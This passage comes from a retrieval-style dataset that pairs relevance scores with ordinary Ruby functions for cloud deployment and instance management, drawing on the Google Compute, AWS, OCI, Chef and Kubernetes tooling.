response[:servers].each do |s|\n instances << Instance.new(s)\n backup_instance(instances[-1], tenant.id, auth_token)\n end\n instances\nend", "title": "" }, { "docid": "b1abefb9ccd0b90e0a6ae1975e121120", "score": "0.47554162", "text": "def await_end_deploy\n monitor = context.getMonitoringService().getVirtualApplianceMonitor()\n cloud = Haki::CloudController.new context\n vapps = cloud.list_virtual_appliances()\n\n vapps.each {|vapp| monitor.awaitCompletionDeploy(vapp)}\n true\n end", "title": "" }, { "docid": "18990b2b7de3cdfa098db819dad8790a", "score": "0.47408494", "text": "def list request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instances\"\n\n query_string_params = {}\n query_string_params[\"filter\"] = request_pb.filter.to_s if request_pb.filter && request_pb.filter != \"\"\n query_string_params[\"maxResults\"] = request_pb.max_results.to_s if request_pb.max_results && request_pb.max_results != 0\n query_string_params[\"orderBy\"] = request_pb.order_by.to_s if request_pb.order_by && request_pb.order_by != \"\"\n query_string_params[\"pageToken\"] = request_pb.page_token.to_s if request_pb.page_token && request_pb.page_token != \"\"\n query_string_params[\"returnPartialSuccess\"] = request_pb.return_partial_success.to_s if request_pb.return_partial_success && request_pb.return_partial_success != false\n\n response = @client_stub.make_get_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::InstanceList.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "title": "" }, { "docid": "e473934ce4a317ffd6c0a1322ea59e27", "score": "0.47376427", "text": "def allocate_machines(action_handler, specs_and_options, parallelizer)\n to_deployment = READY_DEPLOYMENT\n\n # check for ready deployment\n ensure_deployment(to_deployment)\n # can the deployment be set to proposed?\n @crowbar.propose_deployment(to_deployment)\n\n #private_key = get_private_key('bootstrapkey')\n servers = []\n server_names = []\n specs_and_options.each do |machine_spec, machine_options|\n if !machine_spec.location\n servers << [ machine_spec.name, machine_options ]\n server_names << machine_spec.name\n # skip name collisions\n # add nodes to ready deployment\n # Tell the cloud API to spin them all up at once\n action_handler.perform_action \"Allocating servers #{server_names.join(',')} from the cloud\" do\n role = TARGET_NODE_ROLE\n node = get_non_admin_nodes([machine_spec.name])[0]\n server = set_node_and_bind_noderole(node,machine_spec.name,role,to_deployment,machine_options[:crowbar_options])\n server_id = server[\"id\"]\n debug \"allocate server_id = #{server_id}\"\n machine_spec.location = {\n 'driver_url' => driver_url,\n 'driver_version' => Chef::Provisioning::CrowbarDriver::VERSION,\n 'server_id' => server_id,\n 'node_role_id' => server[\"node_role_id\"]\n }\n end\n end\n end\n\n \n # commit deployment\n @crowbar.commit_deployment(to_deployment) \n end", "title": "" }, { "docid": "2e846387773ed72539f9dadbcb8163d1", "score": "0.47307703", "text": "def deploy(blue_print,update_cluster=nil)\n (File.exist?(blue_print)) ? map_contents = JSON.parse(File.read(blue_print)) : map_contents = JSON.parse(blue_print)\n sleep_interval = 1\n instances = []\n if map_contents.has_key?(\"blue_print\")\n bp_values = map_contents['blue_print']\n unless bp_values.has_key?(\"image_ref\")\n ui.fatal \"You must specify an image_ref, run the -G command to generate a template blueprint\"\n exit(1)\n end\n unless bp_values.has_key?(\"name_convention\")\n ui.fatal \"You must specify a name_convention, run the -G command to generate a template blueprint\"\n exit(1)\n end\n unless bp_values.has_key?(\"flavor\")\n ui.fatal \"You must specify a flavor, run the -G command to generate a template blueprint\"\n exit(1)\n end\n unless bp_values.has_key?(\"quantity\")\n ui.fatal \"You must specify a quantity of servers, run the -G command to generate a template blueprint\"\n exit(1)\n end\n bootstrap_nodes = []\n failed_attempts = 0 \n quantity = bp_values['quantity'].to_i\n quantity.times do |node_name|\n node_name = rand(900000000)\n create_server = Chef::Knife::RaxClusterBuild.new\n #create_server.config[:identity_file] = config[:identity_file]\n Chef::Config[:knife][:image] = bp_values['image_ref'] \n create_server.config[:chef_node_name] = bp_values['name_convention'] + node_name.to_s \n create_server.config[:environment] = bp_values['chef_env'] \n Chef::Config[:environment] = bp_values['chef_env']\n create_server.config[:run_list] = bp_values['run_list']\n Chef::Config[:knife][:flavor] = bp_values['flavor']\n bootstrap_nodes << Thread.new { Thread.current['server_return'] = create_server.run }\n end\n quantity.times do |times|\n if quantity > 20\n sleep_interval = 6\n else\n sleep_interval = 4\n end\n sleep(sleep_interval)\n begin\n bootstrap_nodes[times].join\n rescue\n failed_attempts += 1\n if failed_attempts == quantity\n ui.fatal \"All servers failed to bootstrap, check network connectivy and vet all cookbooks used\"\n exit(1)\n else\n next\n end\n end\n instances << {\"server_name\" => bootstrap_nodes[times]['server_return']['server_name'],\n \"ip_address\" => bootstrap_nodes[times]['server_return']['private_ip'],\n \"uuid\" => bootstrap_nodes[times]['server_return']['server_id'],\n \"name_convention\" => bp_values['name_convention'],\n \"chef_env\" => bp_values['chef_env'],\n \"run_list\" => bp_values['run_list']\n }\n end\n end\n if update_cluster\n instance_return = {}\n if failed_attempts > 0\n instance_return = {'instances' => instances, \"error_text\" => true}\n else\n instance_return = {'instances' => instances, \"error_text\" => false}\n end\n \n return instance_return\n else\n if failed_attempts > 0\n create_lb(instances,true)\n else\n create_lb(instances) \n end\n \n end\n end", "title": "" }, { "docid": "4b08b19fe6c9ada49b9d1106f1b16f75", "score": "0.47143203", "text": "def method_missing(method_sym, *arguments)\n # make sure error symbols are loaded for our exception handling later\n require \"aws-sdk-lambda\"\n require \"aws-sdk-rds\"\n require \"aws-sdk-ec2\"\n require \"aws-sdk-route53\"\n require \"aws-sdk-iam\"\n require \"aws-sdk-efs\"\n require \"aws-sdk-pricing\"\n require \"aws-sdk-apigateway\"\n require \"aws-sdk-ecs\"\n require \"aws-sdk-eks\"\n require \"aws-sdk-cloudwatchlogs\"\n require \"aws-sdk-cloudwatchevents\"\n require \"aws-sdk-elasticloadbalancing\"\n require \"aws-sdk-elasticloadbalancingv2\"\n require \"aws-sdk-autoscaling\"\n\n known_concats = {\n \"Pricing\" => {\n :get_products => :price_list\n }\n }\n\n retries = 0\n begin\n MU.log \"Calling #{@api_name}.#{method_sym} in #{@region}\", MU::DEBUG, details: arguments\n\n retval = if !arguments.nil? and arguments.size == 1\n @api.method(method_sym).call(arguments[0])\n elsif !arguments.nil? and arguments.size > 0\n @api.method(method_sym).call(*arguments)\n else\n @api.method(method_sym).call\n end\n\n if !retval.nil?\n begin\n page_markers = {\n :marker => :marker,\n :next_token => :next_token,\n :next_marker => :marker\n }\n paginator = nil\n new_page = nil\n page_markers.each_key { |m|\n if !retval.nil? and retval.respond_to?(m)\n paginator = m\n new_page = retval.send(m)\n break\n end\n }\n\n if paginator and new_page and !new_page.empty?\n resp = retval.respond_to?(:__getobj__) ? retval.__getobj__ : retval\n concat_to = MU.structToHash(resp).keys.reject { |m|\n m.to_s.match(/=$/) or m == paginator or resp.send(m).nil? or !resp.send(m).is_a?(Array)\n }\n\n if concat_to.empty? and known_concats[@api_name] and\n known_concats[@api_name][method_sym]\n concat_to << known_concats[@api_name][method_sym]\n end\n\n if concat_to.empty? and method_sym.to_s.match(/^(?:describe|list)_(.*)/)\n my_attr = Regexp.last_match[1].to_sym\n concat_to << my_attr if resp.respond_to?(my_attr)\n end\n\n if concat_to.size != 1\n raise MuError.new \"Tried to figure out where I might append paginated results for a #{@api_name}.#{method_sym}, but failed\", details: MU.structToHash(resp).keys\n else\n concat_to = concat_to.first\n new_args = arguments ? arguments.dup : [{}]\n begin\n if new_args.is_a?(Array)\n new_args << {} if new_args.empty?\n if new_args.size == 1 and new_args.first.is_a?(Hash)\n new_args[0][page_markers[paginator]] = new_page\n else\n MU.log \"I don't know how to insert a #{paginator} into these arguments for #{method_sym}\", MU::WARN, details: new_args\n end\n elsif new_args.is_a?(Hash)\n new_args[page_markers[paginator]] = new_page\n end\n\n MU.log \"Attempting magic pagination for #{method_sym}\", MU::DEBUG, details: new_args\n\n# resp = if !arguments.nil? and arguments.size == 1\n# @api.method(method_sym).call(new_args[0])\n# elsif !arguments.nil? and arguments.size > 0\n resp = @api.method(method_sym).call(*new_args)\n# end\n break if resp.nil?\n resp = resp.__getobj__ if resp.respond_to?(:__getobj__)\n retval.send(concat_to).concat(resp.send(concat_to))\n new_page = resp.send(paginator) if !resp.nil?\n end while !resp.nil? and !new_page.nil? and !new_page.empty?\n end\n end\n rescue StandardError => e\n MU.log \"Made a good-faith effort to auto-paginate API call to #{method_sym} and failed with #{e.message}\", MU::DEBUG, details: arguments\n raise e\n end\n end\n\n return retval\n rescue Aws::Lambda::Errors::TooManyRequestsException, Aws::RDS::Errors::Throttling, Aws::EC2::Errors::InternalError, Aws::EC2::Errors::RequestLimitExceeded, Aws::EC2::Errors::Unavailable, Aws::Route53::Errors::Throttling, Aws::ElasticLoadBalancing::Errors::HttpFailureException, Aws::EC2::Errors::Http503Error, Aws::AutoScaling::Errors::Http503Error, Aws::AutoScaling::Errors::InternalFailure, Aws::AutoScaling::Errors::ServiceUnavailable, Aws::Route53::Errors::ServiceUnavailable, Aws::ElasticLoadBalancing::Errors::Throttling, Aws::RDS::Errors::ClientUnavailable, Aws::Waiters::Errors::UnexpectedError, Aws::ElasticLoadBalancing::Errors::ServiceUnavailable, Aws::ElasticLoadBalancingV2::Errors::Throttling, Seahorse::Client::NetworkingError, Aws::IAM::Errors::Throttling, Aws::EFS::Errors::ThrottlingException, Aws::Pricing::Errors::ThrottlingException, Aws::APIGateway::Errors::TooManyRequestsException, Aws::ECS::Errors::ThrottlingException, Net::ReadTimeout, Faraday::TimeoutError, Aws::CloudWatchLogs::Errors::ThrottlingException => e\n if e.class.name == \"Seahorse::Client::NetworkingError\" and e.message.match(/Name or service not known/)\n MU.log e.inspect, MU::ERR\n raise e\n end\n retries = retries + 1\n debuglevel = MU::DEBUG\n interval = 5 + Random.rand(4) - 2\n if retries < 10 and retries > 2\n debuglevel = MU::NOTICE\n interval = 20 + Random.rand(10) - 3\n # elsif retries >= 10 and retries <= 100\n elsif retries >= 10\n debuglevel = MU::WARN\n interval = 40 + Random.rand(15) - 5\n # elsif retries > 100\n # raise MuError, \"Exhausted retries after #{retries} attempts while calling EC2's #{method_sym} in #{@region}. Args were: #{arguments}\"\n end\n MU.log \"Got #{e.inspect} calling EC2's #{method_sym} in #{@region} with credentials #{@credentials}, waiting #{interval.to_s}s and retrying. Args were: #{arguments}\", debuglevel, details: caller\n sleep interval\n retry\n rescue StandardError => e\n MU.log \"Got #{e.inspect} calling EC2's #{method_sym} in #{@region} with credentials #{@credentials}\", MU::DEBUG, details: arguments\n raise e\n end\n end", "title": "" }, { "docid": "bda624a504ba4b38c493275ff949cbf2", "score": "0.46842733", "text": "def index\n @deployments = Deployment.order(:created_at)\n end", "title": "" }, { "docid": "cdd5759ddfc119296feb901305503a68", "score": "0.46747443", "text": "def aggregated_list request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/aggregated/instances\"\n\n query_string_params = {}\n query_string_params[\"filter\"] = request_pb.filter.to_s if request_pb.filter && request_pb.filter != \"\"\n query_string_params[\"includeAllScopes\"] = request_pb.include_all_scopes.to_s if request_pb.include_all_scopes && request_pb.include_all_scopes != false\n query_string_params[\"maxResults\"] = request_pb.max_results.to_s if request_pb.max_results && request_pb.max_results != 0\n query_string_params[\"orderBy\"] = request_pb.order_by.to_s if request_pb.order_by && request_pb.order_by != \"\"\n query_string_params[\"pageToken\"] = request_pb.page_token.to_s if request_pb.page_token && request_pb.page_token != \"\"\n query_string_params[\"returnPartialSuccess\"] = request_pb.return_partial_success.to_s if request_pb.return_partial_success && request_pb.return_partial_success != false\n\n response = @client_stub.make_get_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::InstanceAggregatedList.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "title": "" }, { "docid": "328f9616214d13cb4490a44149fa1a8a", "score": "0.4674379", "text": "def each(&block)\n process_results(&block)\n until next_page.nil?\n result = service.execute(next_page_url)\n process_results(&block)\n end\n end", "title": "" }, { "docid": "e2ca8b430b5c2df7be419c9dc9d4a489", "score": "0.4672267", "text": "def fetch_deploy_item\n GridServiceDeploy.any_of({:queued_at => nil}, {:queued_at.lt => 30.seconds.ago, :started_at => nil, :finished_at => nil})\n .asc(:created_at)\n .find_one_and_update({:$set => {queued_at: Time.now.utc}}, {return_document: :after})\n rescue Mongo::Error::OperationFailure\n nil\n end", "title": "" }, { "docid": "3a2f854ab15f004c1946c6d5218ffe50", "score": "0.46687064", "text": "def jsonapi_pagination(resources)\n instance_exec(resources, &JSONAPI::Rails.config[:jsonapi_pagination])\n end", "title": "" }, { "docid": "e11100cbfaad011c33667c7b9d417aeb", "score": "0.46625435", "text": "def each_service(wspace=framework.db.workspace, &block)\n ::ApplicationRecord.connection_pool.with_connection {\n wspace.services.each do |service|\n block.call(service)\n end\n }\n end", "title": "" }, { "docid": "12c66aade3a3823f23ef898bdb724f6c", "score": "0.46412697", "text": "def show\n @deployment = @stage.deployments.find(params[:id])\n set_auto_scroll\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @deployment.to_xml }\n end\n end", "title": "" }, { "docid": "5a98717e55705bc9aeb18b8accf96a54", "score": "0.46341825", "text": "def each_resource(call_back, array_key: nil, **kwargs)\n start = kwargs[:start]\n\n loop do\n # Send request.\n response = request(call_back, :start => start, **kwargs)\n array_key = get_common(response.keys) if array_key.nil?\n\n resources = response.fetch(array_key.to_sym)\n\n resources&.each { |value| yield value }\n\n # VPC has a next key that holds the next URL.\n return unless response.key?(:next)\n\n # The :next data structure is a hash with a href member.\n next_url = response.dig(:next, :href)\n return unless next_url\n\n start = Addressable::URI.parse(next_url).query_values['start']\n end\n end", "title": "" }, { "docid": "c77bc1978a8de6227209fa92f4a58ab0", "score": "0.46289364", "text": "def set_deployment\n @deployment = Deployment.friendly.find(params[:id])\n end", "title": "" }, { "docid": "ffe3fd5ae23b515ffd7c80548b6d301c", "score": "0.46238732", "text": "def get_process_instances_by_deployment_id_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: QueriesProcessesNodesVariablesAndTasksBPMApi.get_process_instances_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling QueriesProcessesNodesVariablesAndTasksBPMApi.get_process_instances_by_deployment_id\"\n end\n if @api_client.config.client_side_validation && opts[:'status'] && !opts[:'status'].all?{|item| ['1', '2', '3'].include?(item)}\n fail ArgumentError, 'invalid value for \"status\", must include one of 1, 2, 3'\n end\n # resource path\n local_var_path = \"/server/queries/containers/{id}/process/instances\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'status'] = @api_client.build_collection_param(opts[:'status'], :multi) if !opts[:'status'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'sortOrder'] = opts[:'sort_order'] if !opts[:'sort_order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ProcessInstanceList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: QueriesProcessesNodesVariablesAndTasksBPMApi#get_process_instances_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "fa22462b80deedd3ad41b4ac0a3e051c", "score": "0.4621152", "text": "def each(&block)\n attribute_hashes.each do |attribute_hash|\n yield resource_class.new(api, attribute_hash.merge(associations_hash))\n end\n end", "title": "" }, { "docid": "768401c6da488891bc67ff728d24e0bf", "score": "0.461949", "text": "def deploy(id, host, xml_text, lcm_state, deploy_id)\n if %w[BOOT BOOT_FAILURE].include?(lcm_state)\n oci_info = get_deployment_info(host, xml_text)\n\n opts = {}\n \n OCI_REQUIRED_PARAMS.each do |item|\n opts[item] = value_from_xml(oci_info, item) || @defaults[item]\n end\n\n OCI_OPTIONAL_PARAMS.each do |item|\n opts[item] = value_from_xml(oci_info, item) || @defaults[item]\n end\n\n OCI_REQUIRED_PARAMS.each do |item|\n if opts[item] == nil\n STDERR.puts(\n \"Missing: \"<<\n item)\n exit(-1)\n end\n end\n\n request = OCI::Core::Models::LaunchInstanceDetails.new\n request.availability_domain = opts['AVAILABILITY_DOMAIN']\n request.compartment_id = opts['COMPARTMENT_ID']\n request.display_name = opts['DISPLAY_NAME']\n request.image_id = opts['IMAGE_ID']\n request.shape = opts['SHAPE']\n request.subnet_id = opts['SUBNET_ID']\n request.metadata = { 'ssh_authorized_keys' => opts['SSH_KEY']} \n request.freeform_tags = {'OpenNebula_Host' => ''+@host, 'OpenNebula_ID' => ''+id.to_s}\n\n launch_instance_response = @compute_client.launch_instance(request)\n instance = launch_instance_response.data\n\n\n begin\n @compute_client.get_instance(instance.id)\n .wait_until(:lifecycle_state,\n OCI::Core::Models::Instance::LIFECYCLE_STATE_RUNNING) do |resp|\n\n lifecycle_state = resp.data.lifecycle_state\n if [OCI::Core::Models::Instance::LIFECYCLE_STATE_TERMINATED,\n OCI::Core::Models::Instance::LIFECYCLE_STATE_TERMINATING].include?(lifecycle_state)\n STDERR.puts(\"Instance failed to provision. \")\n exit(-1)\n end\n\n end\n\n rescue => e\n STDERR.puts(e.message)\n exit(-1)\n end\n puts instance.id\n else\n restore(deploy_id)\n deploy_id\n end\n\n end", "title": "" }, { "docid": "5809597c7958c56c30d45e794766ec74", "score": "0.46145093", "text": "def list_service_instances_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesServiceInsertionApi.list_service_instances ...'\n end\n # resource path\n local_var_path = '/serviceinsertion/service-instances'\n\n # query parameters\n query_params = {}\n query_params[:'deployed_to'] = opts[:'deployed_to'] if !opts[:'deployed_to'].nil?\n query_params[:'service_deployment_id'] = opts[:'service_deployment_id'] if !opts[:'service_deployment_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ServiceInstanceListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesServiceInsertionApi#list_service_instances\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "28c787a87ed0972003d74eb292662b40", "score": "0.45928872", "text": "def each_page_each_resource(args={})\n self.each_page(args) do |page|\n page.resources.each do |item|\n yield(item)\n end\n end\n end", "title": "" }, { "docid": "3bf4057ec64b994efe8d26d60180274d", "score": "0.4592347", "text": "def each\n params = {}\n if range[:begin]\n begin_key = range[:begin_inclusive] ? :start : :after\n params[begin_key] = range[:begin]\n end\n if range[:end]\n end_key = range[:end_inclusive] ? :end : :before\n params[end_key] = range[:end]\n end\n params[:limit] = range[:limit]\n @response ||= collection.perform(:list, params)\n return enum_for(:each) unless block_given?\n raise ResultsNotReady.new if collection.app.inside_parallel?\n loop do\n @response.results.each do |doc|\n yield KeyValue.from_listing(collection, doc, @response)\n end\n break unless @response.next_link\n @response = @response.next_results\n end\n @response = nil\n end", "title": "" }, { "docid": "4457f7aeaa1afb1352ff313409cc388a", "score": "0.45833763", "text": "def deployments\n @deployments ||= Util.create_object_definitions(objects('deployments'), self, required_kinds: ['Deployment'])\n end", "title": "" }, { "docid": "8f2510e5c37e7ac874e46348744bb1fc", "score": "0.4582909", "text": "def app_deploy_to_active_clouds(options = {})\n load_project_data\n load_cloud_data\n\n # TODO: Support loading builds from GitLab\n if @builds.nil? or @builds.empty?\n @logger.error \"Builds needed before provisioning\"\n return\n end\n\n if @provisionings.nil? or @provisionings.empty?\n @logger.error \"Provisioning needed before app deploy\"\n return\n end\n\n # latest_k8s_builds = @builds[:provision_layer].sort! {|x,y| x[:pipeline_id] <=> y[:pipeline_id]}.slice(-2,2)\n #\n # kubernetes_head = latest_k8s_builds.select {|b| b[:ref] == \"master\" }.first\n # kubernetes_stable = latest_k8s_builds.select {|b| b[:ref] != \"master\" }.first\n\n\n # - loop through active projects\n # - loop for stable and head/master on each project\n # - loop for active clouds on the current ref (stable/head)\n\n # NOTE: These are the key names in the cross-cloud.yml\n default_release_ref_keys = [\"stable_ref\", \"head_ref\"]\n\n release_types = options[:release_types] ||= [:stable, :head]\n\n release_ref_keys = []\n\n release_types.each do |rt|\n case rt\n when :stable\n release_ref_keys << \"stable_ref\"\n when :head\n release_ref_keys << \"head_ref\"\n else\n @logger.warn \"[App Deploy Loop] Invalid release type given #{release_types}\"\n end\n end\n\n release_ref_keys = default_release_ref_keys if release_ref_keys.empty?\n\n deployed_projects = []\n\n active_app_projects = @active_projects.select { |k,v| v[\"app_layer\"] }\n #TODO skip projects that should not be deployed\n active_app_projects.each do |project|\n project_name = project[0]\n\n # issue 256\n if @config[:projects][project_name][\"deploy\"] == false then\n next \n end\n\n project_id = project_name_by_id(project_name)\n\n @logger.info \"[App Deploy] #{project_name}\"\n\n trigger_variables = {}\n\n @logger.info \"[App Deploy] release key names #{release_ref_keys}\"\n\n #[\"stable_ref\", \"head_ref\"].each do |release_key_name|\n release_ref_keys.each do |release_key_name|\n\n @active_clouds.each do |cloud|\n cloud_name = cloud[0]\n @logger.info \"[App Deploy] Active cloud: #{cloud_name}\"\n\n # kubernetes environment we will deploy to \n #deployment_env = @provisionings.select {|p| p[:cloud] == cloud_name && p[:target_project_ref] == @config[:projects][\"kubernetes\"][release_key_name] }.first\n # NOTE: Only deploying to stable K8s for https://github.com/crosscloudci/crosscloudci/issues/124\n # TODO: Refactor to support multiple test environments\n\n deployment_env = []\n #TODO match arm/amd provisionings with arm@amd project build pipeline ids\n [\"stable_ref\", \"head_ref\"].each do |k8s_release_ref|\n @logger.info \"[App Deploy] @provisionings: #{@provisionings}\"\n deployment_env = @provisionings.select {|p| p[:cloud] == cloud_name && \n p[:target_project_ref] == @config[:projects][\"kubernetes\"][k8s_release_ref] }\n deployment_env.each do |env|\n @logger.info \"[App Deploy] Deploying env: #{env}\"\n @logger.info \"[App Deploy] Deploying to #{cloud_name} running Kubernetes #{env[:target_project_ref]} provisioned in pipeline #{env[:pipeline_id]} arch: #{env[:arch]}\"\n\n # Dont deploy apps that dont have matching archs\n if config[:projects][project_name][\"arch\"] && config[:projects][project_name][\"arch\"].find {|x| x == env[:arch]} \n project_ref = @config[:projects][project_name][release_key_name]\n # only select projects for the currently selected deployment env arch\n @logger.info \"[App Deploy] @builds: #{@builds}\"\n project_build = @builds[:app_layer].find {|p| p[:project_name] == project_name && \n p[:ref] == project_ref &&\n p[:arch] == env[:arch]}\n if project_build\n project_build_id = project_build[:pipeline_id]\n project_arch = project_build[:arch]\n end\n\n puts \"[App Deploy] #{project_name} (#{project_id}) #{project_ref} #{project_arch} #{trigger_variables}\"\n @logger.info \"[App Deploy] self.app_deploy(#{project_id}, #{project_build_id}, #{env[:pipeline_id]}, #{cloud_name}, #{options})\"\n\n options[:arch] = env[:arch] \n\n deployed_projects << project_name\n self.app_deploy(project_id, project_build_id, env[:pipeline_id], cloud_name, options)\n end\n end\n if deployment_env.empty?\n @logger.error \"malformed @provisionings: #{@provisionings}\"\n @logger.error \"@config[:projects]['kubernetes'][k8s_release_ref]: #{@config[:projects]['kubernetes'][k8s_release_ref]}\"\n\n end\n end\n end\n end\n\n end\n\n deployed_projects.uniq\n end", "title": "" }, { "docid": "7076bf36a94830c6cd2d36faf66b7020", "score": "0.45824313", "text": "def deploy(release_docs)\n # We deploy each resource in parallel.\n resources = release_docs.flat_map do |release_doc|\n puts_action \"Deploying\", release_doc\n\n if release_doc.blue_green_color\n non_service_resources(release_doc)\n else\n release_doc.deploy_group.kubernetes_cluster # cache before threading\n [release_doc]\n end\n end\n Samson::Parallelizer.map(resources, db: true, &:deploy)\n end", "title": "" }, { "docid": "cbf07306b2eecce789cf972f18c4deec", "score": "0.4580373", "text": "def create_missing_deployment_configs\n @config_maps_by_uid.each_value do |map|\n next if map.deployment_config.present?\n\n begin\n map.create_deployment_config\n rescue TopologicalInventory::Orchestrator::ObjectManager::QuotaError\n logger.info(\"Skipping Deployment Config creation for config map #{map} because it would exceed quota.\")\n metrics&.record_error(:quota_error)\n end\n end\n end", "title": "" }, { "docid": "865a5081798cded4e28c7310aa7cb27f", "score": "0.45768738", "text": "def set_deployment\n @deployment = Deployment.find(params[:id])\n end", "title": "" }, { "docid": "865a5081798cded4e28c7310aa7cb27f", "score": "0.45768738", "text": "def set_deployment\n @deployment = Deployment.find(params[:id])\n end", "title": "" }, { "docid": "7de8e7485abbf2f632c7d444834cecaf", "score": "0.4576757", "text": "def set_deployment\n @deployment = Deployment.find(params[:id])\n end", "title": "" }, { "docid": "d3e47c2af48fb8a7cf0ea94553b1e02a", "score": "0.45763615", "text": "def start_servers_in_deployment(args)\n # for convenience\n deployment_id = args[:deployment_id]\n deployment_name = args[:deployment_name]\n wait_until_started = args[:wait_until_started]\n timeout = args[:timeout] || DEFAULT_TIMEOUT\n timeout_interval = args[:timeout_interval] || DEFAULT_INTERVAL\n timeout_reset = args[:timeout_reset]\n show_progress = args[:show_progress]\n indent = args[:indent] || ''\n \n args_no_pass = args.reject {|key, _| key == :password }\n @logger.debug \"#{indent}start_servers_in_deployment(#{args_no_pass.inspect})\"\n @logger.info \"#{indent}start_servers_in_deployment(): Starting Deployment (id=#{deployment_id}, name=#{deployment_name})\"\n \n servers = get_servers_in_deployment(:deployment_id => deployment_id, :deployment_name => deployment_name, :indent => \"#{indent} \")\n \n if servers.nil?\n @logger.warn \"#{indent}start_servers_in_deployment(): No servers were found in Deployment (id=#{deployment_id}, name=#{deployment_name})\"\n return\n end\n \n errors = []\n notices = []\n launched_servers = []\n server_instances = Hash.new()\n \n # for each server, fork the starts in parallel\n servers.each {|server|\n error = nil\n server_id = (File.basename server.href).to_i\n \n if server.state == STATE_INACTIVE\n begin\n # start this server without waiting\n @logger.info \"#{indent}start_servers_in_deployment(): Starting server (name=#{server.name}, id=#{server_id}) in deployment (name=#{deployment_name}, id=#{deployment_id})\"\n instance = start(:server_id => server_id, :show_progress => show_progress, :indent => \"#{indent} \")\n launched_servers << server\n server_instances[server_id] = instance\n rescue => e\n @logger.error \"#{indent}start_servers_in_deployment(): Couldn't start Server (id=#{server_id}, name=#{server.name}) in deployment (name=#{deployment_name}, id=#{deployment_id})\"\n @logger.error \"#{indent}start_servers_in_deployment(): #{e.message}\"\n @logger.error \"#{indent}start_servers_in_deployment(): #{e.backtrace}\"\n errors << e\n end\n elsif server.state == STATE_PENDING || server.state == STATE_BOOTING\n @logger.info \"#{indent}start_servers_in_deployment(): Server (id=#{server_id}, name=#{server.name}, state=#{server.state}) in deployment (name=#{deployment_name}, id=#{deployment_id}) already pending/booting\"\n launched_servers << server\n server_instances[server_id] = server.show.current_instance.show\n else\n @logger.info \"#{indent}start_servers_in_deployment(): Not starting Server (id=#{server_id}, name=#{server.name}, state=#{server.state}) in deployment (name=#{deployment_name}, id=#{deployment_id}), not inactive\"\n launched_servers << server\n notices << Exception.new(\"Couldn't start server (id=#{server_id}, name=#{server.name}, state=#{server.state}) in deployment (name=#{deployment_name}, id=#{deployment_id}), not inactive\")\n server_instances[server_id] = server.show.current_instance.show\n end\n }\n \n if wait_until_started\n timeout_left = timeout\n start_time = Time.now.to_i\n \n # waiting for each server in the deployment\n launched_servers.each {|server|\n server_id = (File.basename server.href).to_i\n \n # if timeout interval is 0, just return\n if timeout_left == 0\n @logger.info \"#{indent}start_servers_in_deployment(): Timed out waiting for other servers in the deployment, no time left to wait for Server (id=#{server_id}, name=#{server.name}) in deployment (id=#{deployment_id}, name=#{deployment_name}) to reach state #{state}, currently in state #{server.state}\"\n return Result.new(:success => false, :errors => [Exception.new(\"Timed out waiting for other servers in the deployment, no time left to wait for Server (id=#{server_id}, name=#{server.name}) in deployment (id=#{deployment_id}, name=#{deployment_name}) to reach state #{state}, currently in state #{server.state}\")], :value => server)\n else\n @logger.info \"#{indent}start_servers_in_deployment(): Waiting for Server (id=#{server_id}, name=#{server.name}) in deployment (id=#{deployment_id}, name=#{deployment_name})\"\n end\n \n begin\n result = wait(\n :state => STATE_OPERATIONAL,\n :server_id => server_id,\n :show_progress => show_progress,\n :timeout => timeout_left,\n :timeout_interval => timeout_interval,\n :timeout_reset => timeout_reset,\n :indent => \"#{indent} \"\n )\n \n # the timeout is for all servers, so let's make sure we are removing elapsed time from the max time we have\n # left to wait\n end_time=Time.now.to_i\n time_elapsed = end_time - start_time\n timeout_left -= time_elapsed\n if timeout_left < 0\n timeout_left = 0\n end\n @logger.debug \"#{indent}start_servers_in_deployment(): timeout_left=#{timeout_left} start_time=#{start_time} end_time=#{end_time} time_elapsed=#{time_elapsed}\"\n \n if !result.success\n @logger.error \"#{indent}start_servers_in_deployment(): Timed out waiting for Server (id=#{server_id}, 